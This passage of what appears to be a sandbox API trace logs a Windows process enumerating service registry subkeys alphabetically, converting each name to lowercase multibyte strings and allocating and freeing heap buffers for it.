lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0223.570] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f16e8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0223.570] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.570] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.570] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.570] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.570] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0223.570] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.570] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0223.570] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.570] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.570] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.570] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.570] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0223.570] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0223.570] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f16e8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0223.570] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.570] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.570] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.570] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.570] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0223.570] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.570] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0223.571] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.571] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.571] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.571] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.571] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0223.571] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.571] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0223.571] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.571] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.571] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.571] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.571] RegEnumKeyW (in: hKey=0x148, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0223.571] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.571] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0223.571] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.571] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.571] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.571] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.571] RegEnumKeyW (in: hKey=0x148, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0223.571] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0223.571] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f16e8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0223.571] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.571] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.571] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.571] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.571] RegEnumKeyW (in: hKey=0x148, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0223.571] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0223.572] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1a48, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0223.572] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.572] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.572] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.572] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.572] RegEnumKeyW (in: hKey=0x148, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0223.572] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0223.572] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f16e8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0223.572] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.572] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.572] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.572] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.572] RegEnumKeyW (in: hKey=0x148, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0223.572] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.572] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0223.572] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.572] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.572] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.572] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.572] RegEnumKeyW (in: hKey=0x148, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0223.572] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0223.572] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f16e8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0223.572] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.572] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.572] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.572] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.573] RegEnumKeyW (in: hKey=0x148, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0223.573] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.573] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0223.573] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.573] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.573] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.573] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.573] RegEnumKeyW (in: hKey=0x148, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0223.573] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.573] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0223.573] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.573] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.573] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.573] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.573] RegEnumKeyW (in: hKey=0x148, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0223.573] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.573] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0223.573] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.573] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.573] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.573] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.573] RegEnumKeyW (in: hKey=0x148, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0223.573] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.573] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0223.573] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.574] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.574] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.574] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.574] RegEnumKeyW (in: hKey=0x148, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0223.574] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.574] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0223.574] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.574] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.574] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.574] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.574] RegEnumKeyW (in: hKey=0x148, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0223.574] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.574] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0223.574] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.574] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.574] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.574] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.574] RegEnumKeyW (in: hKey=0x148, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0223.574] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.574] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0223.574] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.574] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.574] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.574] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.574] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0223.574] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.574] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f16e8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0223.575] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.575] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.575] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.575] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.575] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0223.575] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.575] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0223.575] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.575] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.575] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.575] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.575] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0223.575] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.575] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0223.575] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0223.575] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.575] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0223.575] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.575] RegEnumKeyW (in: 